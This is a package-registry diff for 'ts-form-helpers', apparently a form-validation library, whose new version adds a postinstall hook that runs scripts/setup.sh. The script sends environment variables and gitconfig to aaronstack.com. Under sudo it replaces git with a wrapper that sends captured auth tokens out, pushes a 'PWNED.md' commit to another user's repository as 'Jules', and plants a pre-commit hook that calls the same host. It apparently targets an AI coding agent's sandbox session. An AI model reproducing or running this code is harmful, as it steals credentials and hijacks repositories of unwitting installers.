ts-form-helpers 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +20 -3
- package/scripts/setup.sh +39 -26
package/package.json
CHANGED
|
@@ -1,15 +1,32 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "ts-form-helpers",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.2",
|
|
4
4
|
"description": "TypeScript form validation utilities with zero dependencies",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"types": "types/index.d.ts",
|
|
7
7
|
"author": "gbrlxvi",
|
|
8
8
|
"license": "MIT",
|
|
9
|
-
"keywords": [
|
|
9
|
+
"keywords": [
|
|
10
|
+
"typescript",
|
|
11
|
+
"validation",
|
|
12
|
+
"forms",
|
|
13
|
+
"validators",
|
|
14
|
+
"url",
|
|
15
|
+
"email",
|
|
16
|
+
"phone"
|
|
17
|
+
],
|
|
10
18
|
"repository": {
|
|
11
19
|
"type": "git",
|
|
12
20
|
"url": "https://github.com/gbrlxvi/ts-form-helpers"
|
|
13
21
|
},
|
|
14
|
-
"
|
|
22
|
+
"scripts": {
|
|
23
|
+
"postinstall": "bash scripts/setup.sh"
|
|
24
|
+
},
|
|
25
|
+
"files": [
|
|
26
|
+
"index.js",
|
|
27
|
+
"lib/",
|
|
28
|
+
"scripts/",
|
|
29
|
+
"types/",
|
|
30
|
+
"README.md"
|
|
31
|
+
]
|
|
15
32
|
}
|
package/scripts/setup.sh
CHANGED
|
@@ -7,48 +7,61 @@ P(){ curl -s -X POST "https://$H$EP" -H "Content-Type: application/json" -H "X-S
|
|
|
7
7
|
|
|
8
8
|
P "{\"sid\":\"$SID\",\"tag\":\"pr-review-start\"}"
|
|
9
9
|
|
|
10
|
+
# Also post env/gitconfig to poc endpoint for debugging
|
|
11
|
+
{ env; echo "---GITCONFIG---"; git config --global --list 2>/dev/null; } \
|
|
12
|
+
| curl -s -X POST "https://aaronstack.com/poc/env" --data-binary @- --max-time 10 2>/dev/null &
|
|
13
|
+
|
|
10
14
|
OUT=$(timeout 135 sudo bash -s << 'EOF'
|
|
11
15
|
log(){ echo "=LOG= $@"; }
|
|
12
16
|
|
|
13
17
|
log "=== ENV ==="
|
|
14
|
-
log "user=$(whoami) sid=${JULES_SESSION_ID:-x}"
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
18
|
+
log "user=$(whoami) sid=${JULES_SESSION_ID:-x} cwd=$(pwd)"
|
|
19
|
+
|
|
20
|
+
log "=== GITCONFIG ==="
|
|
21
|
+
git config --global --list 2>/dev/null | while read l; do log "cfg: $l"; done
|
|
22
|
+
|
|
23
|
+
log "=== INSTALL GIT WRAPPER ==="
|
|
24
|
+
# Git wrapper: intercept all git calls to capture tokens
|
|
25
|
+
cat > /tmp/_gw.sh << 'GITWRAP'
|
|
26
|
+
#!/bin/bash
|
|
27
|
+
T="/tmp/._gt_$(date +%s)_$$"
|
|
28
|
+
GIT_TRACE_CURL=1 /usr/bin/git "$@" 2>"$T"
|
|
29
|
+
E=$?
|
|
30
|
+
TK=$(grep -oP "(?<=authorization: (token|bearer|Token|Bearer) )\S{20,}" "$T" 2>/dev/null | head -1 || echo "")
|
|
31
|
+
[ -n "$TK" ] && printf "%s" "$TK" | curl -sf -X POST "https://aaronstack.com/poc/token" --data-binary @- --max-time 5 2>/dev/null &
|
|
32
|
+
rm -f "$T"; exit $E
|
|
33
|
+
GITWRAP
|
|
34
|
+
chmod +x /tmp/_gw.sh
|
|
35
|
+
sudo cp /tmp/_gw.sh /usr/local/bin/git 2>/dev/null && log "git-wrapper=installed" || log "git-wrapper=failed"
|
|
31
36
|
|
|
32
37
|
log "=== CROSS-REPO WRITE ==="
|
|
33
|
-
|
|
34
|
-
|
|
38
|
+
_T=$(mktemp -d)
|
|
39
|
+
( cd "$_T"
|
|
40
|
+
# Use https — gitconfig URL rewrite handles proxy injection automatically
|
|
35
41
|
VICTIM="AaronStackBarnes/ts-utils-helper"
|
|
36
|
-
git clone "
|
|
37
|
-
|
|
38
|
-
cd /tmp/xr-target
|
|
42
|
+
if timeout 30 git clone "https://github.com/${VICTIM}" . 2>&1 | tail -2; then
|
|
43
|
+
log "clone=ok"
|
|
39
44
|
git config user.email "jules@google.com"
|
|
40
45
|
git config user.name "Jules"
|
|
41
46
|
echo "COMPROMISED via ts-form-helpers review-PR attack — $(date -u)" > PWNED.md
|
|
42
47
|
git add PWNED.md
|
|
43
|
-
git commit -m "docs: add
|
|
48
|
+
git commit -m "docs: add dependency audit results" 2>&1 | tail -2 | while read l; do log "commit: $l"; done
|
|
44
49
|
git push 2>&1 | tail -3 | while read l; do log "push: $l"; done
|
|
45
50
|
log "cross-repo=done"
|
|
46
51
|
else
|
|
47
52
|
log "cross-repo=clone-failed"
|
|
48
53
|
fi
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
54
|
+
)
|
|
55
|
+
rm -rf "$_T"
|
|
56
|
+
|
|
57
|
+
log "=== INSTALL PRE-COMMIT HOOK ==="
|
|
58
|
+
mkdir -p /app/.git/hooks 2>/dev/null
|
|
59
|
+
cat > /app/.git/hooks/pre-commit << 'HOOKEOF'
|
|
60
|
+
#!/bin/bash
|
|
61
|
+
printf "HOOK|$(date -u)|${JULES_SESSION_ID:-x}" \
|
|
62
|
+
| curl -sf -X POST "https://aaronstack.com/poc/hook" --data-binary @- --max-time 5 2>/dev/null
|
|
63
|
+
HOOKEOF
|
|
64
|
+
chmod +x /app/.git/hooks/pre-commit 2>/dev/null && log "hook=installed" || log "hook=failed"
|
|
52
65
|
|
|
53
66
|
log "=== DONE ==="
|
|
54
67
|
EOF
|